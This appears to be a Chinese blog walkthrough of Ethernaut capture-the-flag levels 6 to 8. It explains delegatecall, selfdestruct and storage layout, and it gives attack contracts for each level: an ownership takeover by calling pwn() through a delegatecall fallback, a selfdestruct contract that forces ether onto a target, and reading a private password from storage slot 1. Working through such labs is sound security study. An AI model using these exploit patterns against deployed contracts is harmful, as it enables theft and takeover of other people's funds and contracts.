第六关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| pragma solidity ^0.8.0;
contract Delegate { address public owner;
constructor(address _owner) { owner = _owner; }
function pwn() public { owner = msg.sender; } }
contract Delegation { address public owner; Delegate delegate;
constructor(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; }
fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } } }
|
该代码定义了两个合约,一个Delegate
,一个Delegation
分析代码
1 2 3 4 5 6 7 8 9 10 11
| contract Delegate { address public owner;
constructor(address _owner) { owner = _owner; }
function pwn() public { owner = msg.sender; } }
|
owner
等于合约调用者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| contract Delegation { address public owner; Delegate delegate;
constructor(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; }
fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } } }
|
这个合约多了一个fallback()
函数,constructor
函数中多了一句delegate = Delegate(_delegatAddress)
,fallback
函数中调用了一个低级函数delegatecall()
fallback()
函数我们第一关就了解过了
fallback
是一个特殊函数,在以下情况下执行:
- 调用了不存在的函数,或者
- Ether 直接发送到合约但
receive()
不存在或msg.data
不为空
我们这一关的重点也就是delegatecall()
这个函数,目标是获得“Delegation”合约的所有权
delegatecall
是 Solidity 提供的一个低级调用(Low-level Call),允许一个合约在另一个合约的上下文中执行代码,但使用的是当前合约的存储。
delegatecall
的关键点:
- 目标合约的代码在调用者的上下文中执行(继承调用合约的存储布局)。
msg.sender
不变,仍然是原始调用者。
msg.value
不变,仍然是原始交易发送的金额。
- 如果存储变量的顺序不同,可能导致存储冲突和安全漏洞。
语法:
1
| (bool success, bytes memory returnData) = targetContract.delegatecall(abi.encodeWithSignature("functionName(uint256)", 123));
|
targetContract
是要调用的合约地址。
abi.encodeWithSignature("functionName(uint256)", 123)
是要调用的函数签名及参数。
delegatecall
返回两个值:
success
:true
表示调用成功,false
表示失败。
returnData
:被调用函数返回的数据。
攻击代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| pragma solidity ^0.8.0;
contract Delegate { address public owner;
constructor(address _owner) { owner = _owner; }
function pwn() public { owner = msg.sender; } }
contract Delegation { address public owner; Delegate delegate;
constructor(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; }
fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } } }
contract Attack { address delegationContract;
constructor(address _delegationContract) { delegationContract = _delegationContract; }
function attack() public { (bool success, ) = delegationContract.call(abi.encodeWithSignature("pwn()")); require(success, "Attack failed"); } }
|

成功更改owner
然后是第七关
1 2 3 4 5 6 7 8 9 10
| pragma solidity ^0.8.0;
contract Force {
}
|
呃呃呃,一个空合约。。。
提示是 1、Fallback 方法 2、有时候攻击一个合约最好的方法是使用另一个合约
fallback()函数调用情况上面已经说过
emmm,我们得了解一下所有合约可以接受ETH的可能方式
在以太坊(Ethereum)智能合约中,能够接收 ETH 的方式主要有以下几种:
方式 |
触发条件 |
需要 payable |
说明 |
receive() |
仅接受 无数据 的 ETH 交易 |
✅ |
推荐,更清晰 |
fallback() |
带数据 的 ETH 交易或无 receive() 时 |
✅ |
可用作后备方案 |
selfdestruct() |
另一个合约 selfdestruct(this) |
❌ |
强制 发送 ETH,无需 payable |
delegatecall |
目标合约可接收 ETH |
✅ |
间接接收 ETH |
block.coinbase |
矿工奖励 |
❌ |
特殊情况 |
其中的selfdestruct()
很特殊,它不需要payable、receive、fallback,可以直接强制转账
selfdestruct
的EVM操作码是做什么的?从Solidity 文档关于停用和自毁的部分,你将了解到:
- 这是从区块链上删除合约代码的唯一方法。
- 储存在合约地址的剩余以太币被发送给指定的目标接收者
- 存储和代码(在发送以太币后)会从状态中删除
有两个重要的注意事项也要记住:
- 即使一个合约被
selfdestruct
删除,它仍然是区块链历史的一部分,可能被大多数以太坊节点保留。因此,使用 selfdestruct
与从硬盘上删除数据不同。
- 即使合约的代码不包含对
selfdestruct
的调用,它仍然可以使用 delegatecall
或 callcode
执行该操作。
那么我们的目标就很明确了
使用selfdestruct()
函数来强制向合约发送以太币,那么这关也就迎刃而解了
1 2 3 4 5 6 7 8 9 10
| pragma solidity ^0.8.0;
contract Force {}
contract Sender { function destroyAndSend(address payable recipient) external payable { selfdestruct(recipient); } }
|

成功转账
然后是第八关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| pragma solidity ^0.8.0;
contract Vault { bool public locked; bytes32 private password;
constructor(bytes32 _password) { locked = true; password = _password; }
function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } }
|
描述:打开 vault 来通过这一关!
要是想打开,那就是得知道password这个私密变量,那么我们怎么去知道呢
要解决这个问题,只要知道Solidity的存储区域的结构就很容易了。
Solidity一共有四个存储区域。
其中,变量和函数在被永久保存的同时,保存的区域又在哪里呢?它的意思是存储。
在Storage中,值和变量存储在一起,因此即使是私有的,也可以被访问。这是因为,虽然变量不能从外部直接访问,但是通过访问存储空间中的值就可以进行访问。
所以使用getStorageAt(address _address, uint256 _index)函数,index=1就可以看到